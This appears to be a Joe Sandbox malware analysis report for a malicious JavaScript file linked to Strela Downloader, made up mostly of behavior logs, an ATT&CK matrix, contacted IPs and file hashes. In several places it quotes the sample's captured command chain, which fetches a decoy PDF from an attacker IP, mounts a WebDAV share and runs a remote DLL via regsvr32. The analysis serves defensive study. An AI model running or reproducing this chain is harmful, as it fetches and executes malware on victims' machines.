Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4560			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4570			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5708	Thread sleep count: 4560 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5256	Thread sleep count: 4570 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3820	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5752	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3404	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2828	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2306814697.00000248D4D78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@A
Source: net.exe, 00000007.00000002.2306814697.00000248D4DDF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3506706179.0000020561A57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3503601289.000002055C42F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1492619129759821343.js	3%	Virustotal		Browse
1492619129759821343.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/V	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2306814697.00000248D4D78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.2219905649.000001F2E7A71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2317464439.0000020561800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3506574499.0000020561A11000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/V	net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2306814697.00000248D4D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2306814697.00000248D4DCC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000007.00000002.2306814697.00000248D4DA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588235
Start date and time:	2025-01-10 22:56:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1492619129759821343.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 23.40.179.11, 23.40.179.78, 23.40.179.12, 23.40.179.9, 23.40.179.5, 23.40.179.6, 23.40.179.77, 23.40.179.79, 23.40.179.73, 192.168.2.6, 88.221.110.91, 2.16.100.168, 13.107.246.45, 52.149.20.212, 50.16.47.176, 173.222.162.64, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:57:19	API Interceptor	22x Sleep call for process: powershell.exe modified
16:57:23	API Interceptor	1x Sleep call for process: net.exe modified
16:57:24	API Interceptor	2x Sleep call for process: svchost.exe modified
16:57:31	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726329593641539
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH02:9JZj5MiKNnNhoxuH
MD5:	A7AB2847C208BB4969505E5949DD6C9A
SHA1:	12813C7D58868AB13E0C9EBC286533D146CFFBFC
SHA-256:	16A253E4A73F536C2C38D0C313384CABCEBC071ECC9A6C3445236F15B089C3A7
SHA-512:	F4CF77CEDB3E958248B74113D00E2BA12A945F090EA8B7DCE448779A2E6BB706CCED252363F31F0C555A047E90E6340A8324EF5AD5ED31CD5BC4A05D66AEF1AA
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x21178055, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555595970600028
Encrypted:	false
